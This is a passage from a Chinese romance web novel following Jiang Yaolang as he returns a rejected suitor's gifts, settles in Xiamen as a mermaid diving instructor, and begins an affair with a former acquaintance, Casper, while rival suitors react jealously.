发出的短信已经被回复,单锦元的意思依旧是让他自留。
可江瑶浪不太愿意,他决定听听妹妹的意见。
江瑶浪把盒子打开,让江瑶清看里面的物品。
珠宝辉光首先撞入眼底,晃着江瑶清的眼睛,等她适应了炫目的光,才发现盒里还放有不少低调的奢牌藏品。
“这是什么,哥?”江瑶清揉了揉眼,确认眼前场景的真实性。
“单承言给的。”
江瑶清反应很大:“他今天来过?!”
江瑶浪点点头,没有多提那场谈话,只是简单地说:“来还钥匙,但我没想到他偷偷把东西放进了我房间,等他走后我才发现。”
江瑶清沉默片刻,坚定地说:“要还,没必要留着。”
“我也是这么想的,但是这也不能寄快递,他爸又不肯过来拿。”
江瑶浪叹气:“早知道不把话说绝了,现在还得自己上门一趟。”
江瑶清却想到了一个人,她把盒子合上:“哥,我们可以找绍臣哥帮忙。”
“对啊,我怎么没想到。”江瑶浪眼前一亮,表扬江瑶清,“还是清姐厉害。”
“哼哼。”江瑶清骄傲叉腰,“你快去联系绍臣哥吧。”
“好。”江瑶浪编辑好信息,发送出去。
温绍臣回复得很快,他说明天上午来家里找他们。
【不要柠檬】:麻烦学长了。
【绍臣学长 3.2】:不麻烦,都怪单承言。
【绍臣学长 3.2】:我让他姐姐打他。
江瑶浪被逗乐了,又回。
【不要柠檬】:那谢谢学长了。
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*
温绍臣是在十点左右按响门铃的,江瑶浪起身开门,把他迎了进来。
他指了指桌面上的盒子,对温绍臣说:“就是那个了,要麻烦学长还的东西。”
温绍臣也不客气,走过去查看里面的东西,他挑挑剔剔,却又不得不承认单承言审美不错,最后只是把那条车钥匙挑了出来:“怎么还有这玩意,他不知道你不能开车啊?”
江瑶浪摇摇头:“不知道。”
“那他是挺搞笑的,一天天的在自我感动什么。”
温绍臣把车钥匙丢回盒子里,重新合起:“放心吧,小学弟,我会安全把它们送回去的。”
“我就不留太久了,先走啦。”说着,他准备抱起大盒子。
江瑶浪却制止他:“我来吧,学长。”
他抱着盒子,跟在温绍臣身后走向停在楼下的宾利飞驰。
温绍臣拉开后排的门,示意江瑶浪把东西放进去。
江瑶浪弯腰钻进车厢,不经意抬头却发现驾驶座还有人,而那个身材高大的优雅男人,正透过中央后视镜观察他。
察觉被发现,余光林和他打了个招呼:“你好。”
余光林没有收敛自己的气场,但江瑶浪也不怯:“你好。”
客套结束后,江瑶浪继续调整盒子的位置,他甚至给它系好安全带。
温绍臣趴在他的背上,看他的动作:“好认真啊,小学弟。”
“毕竟是别人的东西。”
确认稳固后,江瑶浪背着温绍臣从后排退出来:“接下来就麻烦学长了。”
“不麻烦不麻烦,你们打算什么时候离开?”
江瑶浪回答:“订了一号的机票。”
“好呀,到时候我来送送你们。”
“嗯。”
*
七月三十号,飘着小雨。
江瑶浪兄妹提着祭品和鲜花来到墓园。
江瑶浪蹲身擦拭父母的墓碑,江瑶清则是撑伞为他挡雨。
然后他们坐在父母身前,说着各种琐事。
“爸,妈,好久不见。”江瑶浪先开口,“我和小清一切都挺好,说起来,她的高考成绩比我还要好一点,也是让你们说中了。”
“哼哼,也不看看我有多厉害。”江瑶清摇头晃脑,“接下来,我们就要去厦门啦,那是个好地方,很漂亮,我和哥哥都很喜欢。”
“嗯,欠下的债务已经还清了,但房子我不打算租出去。”
“不是很舍得,毕竟是我们的家。”江瑶浪笑笑。
“反正我们也会经常回来住嘛,就没必要让外人进来啦。”江瑶清补充。
江瑶浪又谈起温绍臣:“学长的状态比以前要好多了,爸妈也不用再为他担心,前些日子,他回来带我们去云南玩了一段时间,很舒心的旅程,有他带着,我和小清都没有烦恼。”
“绍臣哥可厉害了,特别会玩,他还到处都有房子。”
“是,”江瑶浪说,“学长朋友很多。”
“我也相信,我和小清在厦门,也能顺利交到朋友。”
“计划是八月一号就离开北京,大部分的物品已经邮寄去厦门了,我们在厦门的住处也很漂亮,爸妈有空的话也可以来看一下。”
他们又随意聊了些生活和旅行中的趣事,直到雨势渐大,为了不让父母担心,兄妹俩起身离开。
江瑶浪对着父母挥挥手:“先这样吧,有空了再来看看你们。”
“可以多想我们一点,但也不需要太担心。”
他把手搭在江瑶清的肩膀上:“我们都好着呢。”
38.第 38 章
单承言目送载着江瑶浪的飞机在跑道滑行,看着它载着自己求而不得的人快速驶离,直上云霄。
飞机挣脱引力,他也逃离了我。
明明脚踩实地,整个人却空得不行,单承言不敢再留,转身快步离开。
他找到自己的车,却发现车前盖上是熟悉的盒子,温绍臣正抱臂等着,在他身边是寸步不离的余光林。
单承言看着被退回来的礼物,还算平静:“他不要吗?”
“你姐最近不是有空吗,让她带你去挂个眼科呗。”温绍臣语气不算好。
东西已经归还,温绍臣连多看他一秒都不乐意,径直走向余光林的车,坐进副驾驶。
余光林发动车子,准备驶离机场,而下一秒,单承言拦在车前,用身体止住了踩踏油门的动作。
余光林不悦皱眉,转头问温绍臣:“梅梅,要撞上去吗?”
温绍臣不甚在意地扯出一抹笑:“撞呗。”
于是余光林颔首,踩下油门。
单承言没躲,前照灯打在他身上,神色和动作一样坚定。
他冲着温绍臣喊:“温绍臣,拜托你,和他说一声,我没有放弃。”
“我不会放弃的!”
温绍臣从车窗里伸出半截小臂,对他比了个中指。
余光林转动方向盘,控制着车身擦过单承言,性能优越的座驾起步极快,无需两秒便难以捕捉尾灯残光。
单承言回到自己的车上,打开盒子时他还怀有一丝期待。
也许,信被收下了呢?
然而希望破灭就在下一瞬,那封信依旧完好,安静地躺在最顶上。
单承言自嘲地笑笑,开始在盒子里翻找那条蜂巢项链。
突然,他的动作一顿,不可置信地看向藏在盒子角落的,那一颗廉价又不起眼的橙子糖。
糖被他握入手心,被他狠狠攥紧,单承言用尽全力,仿佛是在攥住他的全世界。
江瑶浪就是这样,拿得起放得下,却永远心软。
我确实是配不上他的。
单承言倒在方向盘上,只觉眼前一片混沌,前路难寻。
他在车内静默坐了许久,直到被李聿鸣的电话打断。
“说。”
李聿鸣的声音从话筒传来:“过来打球,刚拉的32磅线,够你发泄了。”
单承言坐起,抹了一把脸:“行。”
他挂了电话,先是把糖妥善放好,又把翻找出来的蜂巢项链戴上,金属冰凉,不适合他,可它曾紧贴江瑶浪的心脏。
这是单承言送给江瑶浪的第一件饰品,也是最普通的,打动他购买的无非是那句不普通的宣传词。
Bee My Love,Be My Love。
我在很早很早的时候,就在渴求他的爱。
可我又笨又蠢,只知面子比天高。
*
单承言和李聿鸣打了一场酣畅淋漓的羽毛球,打废了一桶F90,打得手腕传来痛感,打到球拍线断。
“就这?”单承言皱眉看向断线的球拍。
李聿鸣累得粗喘,他摆摆手:“少爷,你都打坏我两个拍了。”
他给单承言丢去擦汗毛巾和运动饮料,自己也拧开一瓶,一口喝完。
“聊会天吧。”
李聿鸣走到单承言身前,拉着他一起就地坐下。
单承言擦干汗,然后把毛巾搭在脖子上:“聊什么?”
“聊你还打不打算追呗。”
闻言,单承言用看智障的眼神看向他。
“行行行,”李聿鸣可不敢在这个时候惹他,“那就聊打算怎么追。”
这个问题,单承言早就想了无数次,他得出来的第一步是:“先赚钱吧。”
“他不是用钱买不来吗?”
单承言又无语了,他招手让球童递来手机,让李聿鸣看他收藏的各色钻石:“好看吧?”
“怎么都这么大啊。”李聿鸣惊讶。
单承言最喜欢那颗橙粉色的,有风声传出,说藏家有计划拿出来拍卖,但具体时间未定,这让单承言感到急切。
“最想要这颗,感觉做成戒指会很好看。”单承言说,“所以啊,先努力赚钱吧,不然求婚戒指都买不起。”
“你想得可真够远的,万一他爱上别人了呢。”
“那就做成皇冠,送给他当新婚礼物。”
“舍得?”
“舍不得。”单承言极为不甘,“舍不得又能怎么样,也不能抢婚吧。”
“你不就是这么打算的吗?”
“没这么缺德,我顶多是凑上去当小三。”
李聿鸣嘲笑他:“问题是,你倒贴他都看不上你啊。”
“是这个道理。”单承言点头认可,“那就只能从他的伴侣入手了,设计他出个轨什么的。”
“舍得?”
单承言依旧说:“舍不得。”
“所以我只能祈祷他别太快爱上别人。”
单承言的食指和拇指做出捏合状,其余三指蜷缩,他说:“稍微给我一点成长的时间。”
李聿鸣把手搭在他的肩上:“就决定是他了?”
单承言“嗯”了声,没有过多解释,只说:“放不下。”
李聿鸣拍拍他,咧开嘴大笑:“也该让你小子尝尝追人的滋味了。”
“追啊,追到他愿意接受我为止。”单承言也在笑,眼里透着希冀。
半响,李聿鸣问:“还打吗?”
单承言摇摇头,说:“不打了。”
他站起身,往场外走。
“去哪儿啊?”李聿鸣还坐在地上,看着他的背影大声问。
“回家问问我姐,她那个画廊死彻底没。”
“你不是自诩艺术家,看不起商人的铜臭味和营销出来的低能儿吗?”李聿鸣大喊。
单承言脚步没停,也在大喊回答:“没钱怎么追老婆啊?”
“单大艺术家的画,十三幅,也就卖了二十五万。”
“还不够给我老婆买半颗珠子!”
李聿鸣把双手做出喇叭状,放在嘴边:“你看上的那颗钻石多少钱啊?!”
“不知道!算它九十九个亿吧!”
“好多钱啊!”李聿鸣还在大喊大叫,“加——油——啊!少爷!”
单承言没有再回,只是背向他挥挥手。
*
重回厦门后,时间一下子过得很快。
江瑶浪被留在缺了妹妹的房子里,觉得自己俨然成为一个需要关爱的空巢老人。
人生不能这么无趣,江瑶浪决定找个自己喜欢的班上。
回顾这几年的打工生涯,他发现做美人鱼还是挺快乐的。
于是江瑶浪果断联系上好评颇多的潜店,交钱报了个美人鱼教练班。
得益于足够好的自身条件,拿到证书的当天,江瑶浪也成功与潜店签约,成为一名全职教练。
虽然说是全职,但在非旺季的时候,学员人数也是少得可怜,只靠一份教练工资难以养活自己,所以江瑶浪也会通过潜店的渠道接商演。
就这么游了小两个月,倒也让他游出了一点名气。
潜店那边的意思是让他不要浪费这种机会,不如做个账号好好运作一下。
关
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于这个建议,江瑶浪思考了两天,觉得可以试试。
他很快创建了一个新账号,但在取昵称的时候犯了难,他既不想用自己惯用的昵称,也不想用那种模板化的正规昵称。
江瑶浪皱着眉纠结半天,最后决定大大方方地实名上网。
然后,他随意挑了段日常训练的素材,发布到平台。
发出去后,江瑶浪就不想管了,反正账号运营这种事情,不砸钱的话就只能看命,他又不是奔着当网红去的,能获客最好,但没人看也再正常不过,账号有了内容发了,潜店下达的任务也算完成了。
念及此,江瑶浪开心地切换账号,刷着探店视频,准备周末带江瑶清去吃。
只是出乎意料的,当江瑶浪再次切回“江瑶浪”这个账号时,却发现自己有了几千粉丝,评论区也热闹得不行。
他一头雾水地点进去,然后看到了满屏的“Sweety”。
比如,“Sweety是不是被盗号了”、“前排和Sweety合影”、“Sweety第一个关注的人”、“Sweety求你接单”等等等。
而来自Sweety的评论不仅是首评,还显眼地稳坐评论区最顶端,内容简单,只有几个字:好看,期待更新[星星眼]。
好嘛,原来自己的第一个粉丝还是单承言啊。
但江瑶浪懒得揣摩单承言的心思,只是又敷衍地发了条训练日常当作更新,就换回自己的日常账号,继续上网冲浪。
接下来的时间,重复又规律,他几乎每天都去潜店训练,给学员上课摄影,偶尔接点商演,同时打卡式地运营账号。
按部就班的生活充实,但也实在平淡,这种日子持续到十二月中旬,江瑶浪收到了一条来自旧人的信息。
魏勤安问,浪哥,有空见一面吗?
看到内容的江瑶浪挑挑眉,单手打字:“我现在在厦门。”
“好巧啊,浪哥,我也在厦门。”
*
江瑶浪最近想吃烤肉,所以他们约在了烤肉店。
魏勤安在美国待了几年,但好像也没什么变化,依旧能把他伺候得舒舒服服。
“怎么回来了?”江瑶浪问他。
魏勤安正在剪肉,动作没停,眼睛却看向了江瑶浪:“浪哥,我跟着导师回来做项目。”
“哦,那你待多久?”
闻言,魏勤安的脸上透出遗憾,说:“留不了太久,导师没选我当这边的负责人。”
“不过。”魏勤安突然双眼放光,“浪哥,我很快就能毕业了。”
“到时候,我可不可以也来厦门?”
江瑶浪满脸疑惑:“你来厦门干嘛?家又不在这边。”
“浪哥。”魏勤安鼓起勇气,问,“你现在是单身吗?”
“啊?你和你男朋友分手了吗?”江瑶浪觉得魏勤安莫名其妙,怎么突然又想回来追自己了。
结果魏勤安更是蒙圈,张着嘴一脸傻样:“浪哥,我的男朋友,不只有你吗?”
“什么玩意儿,”江瑶浪摸不着头脑,“你不是谈恋爱了吗?老在朋友圈发那些酸话,看得我牙疼。”
听到江瑶浪的问话,魏勤安的心才稳稳落下,却也有点无奈。
他的浪哥还是一如既往地不解风情。
“浪哥,”魏勤安对着江瑶浪浅浅笑着,和当年一样,“那些酸话,只有你能看到。”
“是我写给你的。”
“我没有新的男朋友。”
“所以,我可以,再次追求你吗?”
魏勤安很紧张,脸和耳朵都红了,心如鹿撞,视线不敢离开江瑶浪半秒。
39.第 39 章
“喂,肉要焦了。”
“对不起,浪哥。”被拒绝的魏勤安也不泄气,重新回归烤盘,专心烤肉,致力喂饱浪哥。
江瑶浪含着筷尖看他有条不紊地翻肉剪肉,然后把烤好的肉夹进自己的碗里。
可那看他的眼神,让江瑶浪觉得,这小子更想把肉喂进自己嘴里。
最好是嘴对嘴的那种。
江瑶浪嚼着肉,胡思乱想。
反正他又不是没干过,这么些年过去魏勤安还真是一点长进都没有。
吃饱后的江瑶浪放下筷子,用纸巾擦干净嘴边残留的调料粉。
他擦嘴的时候,魏勤安还在盯着他看。
江瑶浪翻了个白眼:“干嘛,想舔啊?”
“是的,浪哥。”魏勤安这人没别的优点,就是老实。
“谁让你还在读书。”现在的江瑶浪说话直白,懒得管魏勤安的心情,“追人就该有追人的态度,想让我白等你半年?哪有这么好的事儿。”
“先说好啊,我要是爱上别人了,只能怪你自己不争气。”
魏勤安认可地点头:“浪哥,是我不够优秀,如果负责人是我,那么我就能留下来一直缠着你了。”
江瑶浪刻意挖苦:“那很没用了。”
“是我大意。”魏勤安认错的态度很诚恳,“项目在国内,再加上导师带的学生里也只有我一个中国人,本来以为十拿九稳的。”
“没想到,还有个能说流利中文的学生。”魏勤安输得心服口服,“不过他真的很厉害,可以说是天才的程度了,比我小好几岁,但我们同一届。”
“他的中文,也是自己自学的,学了不过一年,就已经能应付绝大多数场合。”
江瑶浪对他口中的天才学生兴趣一般,只是敷衍地点点头。
魏勤安很敏锐地察觉,然后开始给江瑶浪讲自己在美国的趣事和见闻。
可江瑶浪依旧兴趣缺缺,百无聊赖地含着清口糖玩。
于是,魏勤安识趣地终止话题:“浪哥,我也吃饱啦,我送你回去吧?”
江瑶浪没同意:“一起去地铁站得了,你还想上我家喝杯茶啊?”
“可以吗?浪哥。”魏勤安期待地眨眨眼。
“当然不可以,前男友就该有前男友的自觉。”
“嗯,我会努力的。”
“努力再次成为浪哥的男朋友。”
江瑶浪勾唇一笑,猛地凑近魏勤安,在他耳边轻声说:“小娘炮,我没那么好追。”
“你要还是只有以前那套,就省省吧。”
江瑶浪的清口糖分明是薄荷味的,魏勤安却被这一丝凉意勾出浑身燥热。
他把自己憋得通红,才没有做出把江瑶浪抱进怀里的逾越举动。
江瑶浪得意地哼笑,后退一步拉开两人的距离。
*
出站后,江瑶浪熟练地右拐钻进亮着小灯的转角,找到糖葫芦摊。
“奇异莓的还有嘛?”
摊主抱歉地笑笑:“卖完啦。”
“那黑提呢?”
“黑提还有。”
“我要三小串黑提吧,冰沙的那种。”
江瑶浪扫了十块钱,接过摊主递来的纸盒,捏起糖葫芦一口咬掉一颗黑提。
糖壳又脆又薄,冻过的黑提果味很足,酸酸甜甜,就是有点冻牙。
但江瑶浪很爱吃。
十二月的厦门也不冷,江瑶浪不急不慢地往小区走,夜风吹在身上,让他感觉很舒服。
在厦门生活的感受和在北京完全不一样。
当然,也有可能是心态和处境不一样了,以前的江瑶浪不敢休息,睁眼就得投入快节奏的生活,焦虑和委屈都只能自己忍着。
但在厦门呢,他却可以慢下来。
他可以花一整天漫无目的地瞎逛,也可以窝在家里发一天的呆。
工作也顺利,江瑶浪很习惯做老师,学员满意他,潜店更是满意他。
运营的账号里,最初因为单承言而来的人也为了他选择留下。
在这个新的地方,没有人认识他,也没有人再能随意打扰他。
很好的生活,江瑶浪想。
也许这就是旅游城市的魅力吧,休闲安逸,四季常绿,侧身是大海,普普通通的日常也像在度假。
*
潜店发来消息,问他明天有没有空,说是有个学员,指明要他教。
江瑶浪回了个OK。
上课的时间约在上午八点,江瑶浪习惯提前半小时到店,可当他来到教室时,却发现今天的学员已经在等着了。
教室里只有他一人,他背向门坐得笔直。
浅棕色的发丝看起来柔软乖顺,与他壮硕的身材形成反差。
“吃早餐了吗?”江瑶浪问。
身后传来铭刻心底的熟悉声音,他迅速转过身,看到江瑶浪的瞬间,深邃的蓝眼睛里仿佛拥有一群跃出的海豚。
他站起身,大步走近江瑶浪,张嘴说出流畅且没有怪音的中文:“天使,还记得我吗?我是Casper。”
江瑶浪惊讶又惊喜,双眸微微睁大,长睫扑闪:“是你呀。”
江瑶浪还记得他,这让Casper感到幸福。
他把身体站直,朝江瑶浪伸出手,正式地介绍自己:“江瑶浪,你好,我是望望。”
“盼望的望。”
从神情到动作,望望都很认真,于是江瑶浪也站直,伸出自己的手与他相握:“你好,望望,好久不见,我是江瑶浪。”
望望想收紧自己的手,却又怕冒犯江瑶浪。
然而微微汗湿的掌心不受控地向江瑶浪传递着望望的忐忑与欢喜,悦动明亮的双眼诉说着他的想念和期待。
江瑶浪主动握紧他,还调皮地摇了摇。
他任由望望包住他的手,不介意时间在一分一秒地浪费。
江瑶浪没有抽离,望望更加不可能主动松手。
最后还是江瑶浪的职业道德打破僵局,他提醒道:“望望,你是来找我叙旧,还是来学习美人鱼的?”
望望纠结地皱起眉,半响才给出答案:“我可以交两份钱,然后都要吗?”
江瑶浪忍俊不禁:“你把这里当什么地方了?”
他抽出自己的手,打开电脑,把理论课的内容投屏到教学电视上。
江瑶浪半撑着桌子,滑动鼠标点开全屏,他准备开始教学,但他唯一的学生还傻愣愣地站着。
江瑶浪有些不悦,看向没有丝毫自觉的学生,小声训斥。
“望望,还不坐好吗?老师要开始上课了。”
“天使。”望望回过神,“你认真的样子真美。”
江瑶浪似笑非笑:“小老外嘴真甜,可我现在想上课。”
“磨磨蹭蹭的,是要我加班吗?”
“不敢。”望望拉开椅子坐下,还拿出平板准备随时记录重点。
学生态度端正,老师上课才有动力,尤其是所教的学生还是个聪明的。
江瑶浪不是那种对着PPT念的老师,也不爱说废话,他本身就有足够多的经验,授起课来更是得心应手,他会根据知识点结合实例为望望讲解,高效解读每一个实用技巧。
课程过半,江瑶浪停下来喝水,顺便查看望望的笔记。
江瑶浪一凑近,望望就浑身僵硬,连呼吸的频率都要精心控制。
“记了这么多呢。”江瑶浪很满意。
“嗯嗯。”
“为什么语气词也要记下来?”
“因为,”望望紧握着笔,“天使所说的每一个字,我都想记录。”
“好认真。”江瑶浪仰头喝水,喉结滚动,“老师中午请你吃饭。”
话音未落,望望就急着接话:“天使,我的学习能力很好的,不如你把课件给我自学,然后我们去吃饭吧?”
江瑶浪被他气笑了:“干嘛呢,引诱我早退啊?”
他把水杯盖上
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,重回讲台。
“望望同学,请停止胡思乱想,现在是上课时间。”
上午的理论课结束,江瑶浪带着望望去自己熟悉的小店里吃健康的减脂餐。
坐下后,他把弹出点单界面的手机递给望望:“看看要吃什么呢。”
望望拿着手机,看看界面又看看江瑶浪,看了大半天,结果问:“天使,你平时吃什么呀?”
于是江瑶浪招招手,示意他把手机还给自己。
“生菜鸡胸肉拌饭,加一杯果蔬汁。”江瑶浪先点了两份相同的餐食,才抬眸看他,“要和我吃一样的对吧?”
“嗯嗯。”望望疯狂点头。
等餐的时候,江瑶浪主动问他:“说起来,你怎么来中国了,还找到了我?”
“我跟着导师来中国做项目,并且很幸运的,在社交平台上刷到了天使的账号!”望望庆幸自己运气不错,“我还以为会找很久才能找到你呢。”
“这是不是说明,我和天使之间,还是有缘分的呀?”
听到熟悉的理由,江瑶浪下意识问:“你也来中国做项目?那你认识魏勤安吗?”
“啊,他是我的同学。”
“噢,”江瑶浪觉得世界真小,“所以那个自学一年中文的天才学霸就是你咯。”
“天才算不上……”望望不好意思地摸摸鼻子,“不过我的学习能力确实要比一般人强。”
“做项目负责人的话,能留在中国多久?”
望望计算了下项目进度,给出大概时间:“至少一年吧。”
“那么,”江瑶浪拿起刚上的果蔬汁,主动碰了碰望望身前的那杯,“欢迎你来到中国。”
望望端起自己的果蔬汁,追上前贴了贴江瑶浪的:“谢谢天使。”
*
望望是江瑶浪带过的,最省心的一个学员。
正如他所言,他的学习能力极强,身体素质也是顶尖,四肢灵活,水性很好,最重要的是非常听话。
课程设计的最后一个环节,是用来给望望拍摄毕业视频的。
江瑶浪一同潜进水中,双手拿着水摄器材,尽职尽责拍摄在池里游动的望望。
可就在这时,一向听话的望望突然成为了不安分的学员,他脱离了约定好的路线与动作,灵活地朝江瑶浪而来,钻入他不设防的怀中,伸出双手将他托起,随后健壮的鱼尾快速摆动,把江瑶浪带出水面,让他睡躺在自己的臂间。
“望望,不可以调戏老师。”
江瑶浪很乖,他没有反抗,只是用目光和言语谴责。
望望不退反进,他空出一只手,指节粗大皮肤粗糙,轻柔地抚上江瑶浪玉白的颈侧肌肤。
他痴痴地看着江瑶浪,情不自禁:“天使,我想亲吻你的呼吸鳃。”
江瑶浪喜欢这种热切渴求的眼神。
他主动歪头,让脸落入他的掌心,无拘无束的黑发缠绕在两人的身体相贴处。
“望望。”江瑶浪启唇,带着诱意,“告诉老师。”
“真的只想到这种程度吗?”
*
感觉是一种很神奇的东西。
望望或许不是对的人。
他们的重逢也很仓促。
但此刻的江瑶浪不介意与他温存。
他陷入望望的床里,放纵他在自己身上密密亲吻,留下痕迹。
他的唇滚烫,从眉心落在下腹……
猿臂有力,肌肉交错延伸,大张的手掌为江瑶浪弧起的腰提供歇息地,望望一手背身后探……
他跨坐在江瑶浪的腰间,主动吞入前,望望眼含歉意:“天使,我是第一次。”
“不舒服的话,你要和我说。”
年轻而热烈的望望不懂收敛,横冲直撞地把江瑶浪拖入浪潮,时刻不停地拍打令他意识模糊,无助地搁浅在麦色海岸。
直到风平浪静,望望拥着他,不安地问。
“江老师,我是一个令你满意的学生吗?”
40.第 40 章
“天使,你今天还没有更新呢。”望望凑近江瑶浪,提醒他。
“对哦。”江瑶浪的打卡式运营还在继续,他依旧是随便点了段视频,就准备发布。
可望望明显是别有目的:“天使,我不是令你满意的学生吗?”
“那你想怎么样呢?”
“天使如果愿意发一些优秀学员,我想应该会有更多人找你学习。”望望给江瑶浪传了一小段视频。
江瑶浪点开,发现是那段因为学员不配合,而效果不佳的毕业视频。
他拖动进度条,让望望看后半段乱晃的画面:“你是说,让我发这些吗?”
望望伸出手指,把进度条往回拨:“我前面的表现还可以的,对吧?”
江瑶浪的嘴角含着浅笑,态度模糊。
“天使,仁慈的天使,我最爱的天使。”望望不依不挠,再次回拨进度条,试图劝服江瑶浪。
江瑶浪依旧不说话。
“天使我跳舞给你看好不好?”望望准备复刻在特罗姆瑟的举动,“我可以再次打动你吗?”
这让江瑶浪起了点兴趣,他问:“什么都可以吗?”
望望自信点头:“嗯,我跳舞很好看的。”
“好啊。”江瑶浪回忆关键词,搜出来一段舞蹈。
江瑶浪把那段魔性的绿色外星人顶胯舞展示给望望看,坏笑着看他:“这个也愿意吗?”
望望把视频认真地看了一遍,随即点头:“可以啊,这个很简单。”
他又看了一遍,把配乐和动作都完整记下,然后给江瑶浪的椅子转了个弯,让他正对着站在客厅的自己。
望望边唱边跳,动作放得很开,哪怕是在玩抽象也没有一点拘谨。
他对着江瑶浪眨眼飞吻,身体却搞怪地顶胯绕胯,踩脚摆手,成功地把江瑶浪逗笑。
望望见他喜欢,又重复着跳了好几次,直到江瑶浪笑出了眼泪。
“天使,你开心吗?”望望停下动作,问他。
江瑶浪神情满意,点点头:“好玩儿。”
于是望望一手拿起一个哑铃,对江瑶浪说:“最近还有一段很好玩儿的,我也跳给天使看好不好?”
江瑶浪还没见过用哑铃当道具的舞,他微抬下巴:“你跳。”
望望拎着哑铃,甩手踢腿,依旧是边唱边跳:“不知道,不知道。”
“为什么,对你说。”望望随着节奏左右推手,双手交替举高指天,“喜欢你,说不出口~”
他举着不轻的哑铃,但身体依旧灵活,丝滑地摸胯接wave再接顶胸:“好想跟你表白~”
“好想跟你表白~”他又连做了两次wave,结束了这一段折磨二头肌的舞。
江瑶浪再次笑得失力,瘫在蛋壳椅上。
“喜欢吗?天使。”运动过后的望望双眼愈发明亮,期待地看着江瑶浪。
“喜欢。”
得到肯定的望望双眼更亮,他准备再给江瑶浪跳几次。
可江瑶浪觉得自己笑累了,需要缓缓,他朝望望招手,让他过来。
见状,望望迅速放下手中的哑铃,蹲在江瑶浪身边。
江瑶浪打开录音机,点开录音键,言简意赅:“唱。”
“唱什么?”
“唱你那段视频需要用的bgm。”
望望开心极了,对着手机又唱起《表白》。
他唱完后,江瑶浪也懒得剪辑,干脆把视频和音频都原封不动地上传平台。
望望早已准备好,在视频发出去的第一秒,就成功抢到了首评。
他看着只有自己一人的评论区,得意地截图又比了个耶。
然后他又亮晶晶地看着江瑶浪,开始夸他:“天使,我最心善的天使,最美丽的天使。”
江瑶浪哼笑:“目的不纯的小老外。”
*
特殊消息提示音响起的瞬间,单承言丢掉画笔,迅速拿起常亮的手机,准备如往常一样抢占首评。
他在快捷短语里挑出提前写好的夸赞语,正打算发送,却因陌生的男声中断点击。
单承言退出评论区,看向视频内容。
这一看就发现出大事了,单承言的眉夹得死紧,眼睛快要冒出火来。
单承言狠狠深呼吸,准备先守卫前排,结果当他重返评论区的时候,首评已经被人夺取。
那个该死的偷袭者,顶着“望望天使派”这么个强装可爱的昵称,在评论区大刺刺打出:疯狂表白天使教练[爱心][爱心][爱心]。
也就在他愣神的功夫,“望望天使派”已经在评论区里上蹿下跳,积极回复网友的留言。
单承言忍着妒意和怒火一条条看下去,直到看到“还在努力追求中[加油]”这条回复内容,他才稍微舒一口气。
呵呵,单承言冷笑,也不过如此。
随后他打出酸不溜秋的一行字发送在评论区。
Sweety:希望各位学员都能自觉点,不要干扰教练正常上课[微笑黄豆]。
怀着知己知彼的心态,单承言点进了“望望天使派”的个人主页,准备打探情报。
然后他就被“望望天使派”最新发布的帖子刺激得瞬间破大防。
该死的、该死的、该死的“望望天使派”,居然把他的瑶瑶拐上了床!
单承言死死盯着那张图片,“望望天使派”这个死老外,正低头亲吻江瑶浪残留红梅的手腕。
而这张照片的配文是:天使在我怀里沉睡,好开心[撒花]。
妈的。
“妈的妈的妈的妈的妈的!”
“操!”
单承言再无丝毫风度,他站起一脚踹倒椅子,在画室里疯狂打转,破口大骂。
单承言恨得要死。
恨自己不能把手伸进屏幕,把犯贱的“望望天使派”抓出来狠揍一顿。
更恨自己的无用。
单承言用尽全力一拳砸在墙上,握拳的手瞬间鲜血淋漓。
“妈的!单承言你个死废物。”
他心中的暴戾久久无法平复,怒火持续燃烧上涌。
为了避免违法犯罪,单承言在最后一丝理智消失前把李聿鸣叫了出来。
单承言没有做任何保护措施,在拳台上疯狂挥拳,血汗齐流。
陪练的李聿鸣苦不堪言,单承言的拳一拳比一拳猛,逼得他节节后退。
可他也不敢喊停。
单承言不知疲累,如野兽般癫狂,却又浑身散发着悲伤。
唉,李聿鸣心中暗叹,少爷这是又受什么刺激了。
他又陪着单承言发泄一番,在单承言的双手露出白骨前及时喊停:“可以了吧少爷,手不要了?”
单承言显然不愿意停,双眼冒着凶光。
李聿鸣无法,只好搬出江瑶浪:“你现在都追不上他,手废了不就更追不上了?江瑶浪不喜欢残疾吧?”
这话比什么都有用,单承言逼着自己冷静,然后走下拳台细致地处理伤口。
李聿鸣看他面无表情地往自己手上倒医用酒精,只觉得自己的手也跟着疼。
“说说呗,咋回事儿啊。”挨了一晚上揍的李聿鸣依旧一头雾水。
他不提还好,一提单承言的火气又要起来。
单承言努力克制,语气却藏不住杀意:“江瑶浪和别人睡了。”
“所以呢?”李聿鸣反问。
“你还能把人绑回来关着,或者把和他有接触的人都杀了吗?”
李聿鸣
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翻了个白眼:“你是第一天知道江瑶浪受欢迎吗?”
他把手靶狠狠砸在单承言背上,发泄自己的不爽:“有时间在这里生气,还不如加把劲把你那九十九亿赶紧赚回来。”
单承言死瞪着李聿鸣,一言不发。
“比谁眼睛大是吧?”李聿鸣懒得惯他,也跟着瞪大了眼,放着狠话,“你就磨蹭吧,迟早有一天能习惯江瑶浪和各式各样的人睡来睡去。”
李聿鸣所说的完全正确。
一点错都没有。
许久,单承言终于冷静下来:“是我太磨蹭了。”
“我不能干涉他,我只能逼自己。”
李聿鸣却觉得这个平静下来的单承言更可怕,他忍不住上前一步,伸手抵着他的肩:“你想干嘛?”
单承言自嘲一笑,看着李聿鸣,说:“有时候我真的庆幸,自己的命足够好。”
“小春那个项目,你怎么看?”单承言看似询问,但其实早已有了决定。
李聿鸣心知肚明,所以坚定地摇摇头。
“我要试试,我要把它做起来。”
“你哪来的钱?”
“所以我说,我的命足够好。”
“别开玩笑了。”李聿鸣一拳揍在单承言的肩上,“那就是个烂摊子,除了你以外,单家哪个是傻子?”
“嗯,没错。”单承言点头,“它现在就是个烂摊子。”
“那如果我说,我有办法让它起死回生,年收百亿,你信不信?”
李聿鸣叹气:“从理性分析的角度出发,我不信。”
“但是,单承言,你是我从小玩到大的兄弟啊,我不信你信谁啊?”
单承言真心实意笑出声:“那就够了。”
*
在单承言点进“望望天使派”这个账号主页的同时,江瑶浪也在查看。
不过他的关注重点在于望望分享的跳舞与极限运动视频。
望望除了喜欢跳舞,还是极限运动的狂热爱好者。
他精通跳伞、滑雪、冲浪,他乐于发掘各种跑酷路线,然后在城市自由穿梭,他持续尝试徒手攀上自身的极限,征服高山岩壁。
江瑶浪被望望精彩刺激的生活震撼得有一瞬失语。
“你……”江瑶浪歪头想了想,“精力真好啊。”
被江瑶浪夸赞的望望瞬间开屏,主动自荐:“天使,你有什么感兴趣的吗?我可以带你玩!”
“好危险啊。”江瑶浪虽然心动,但觉得风险实在太大。
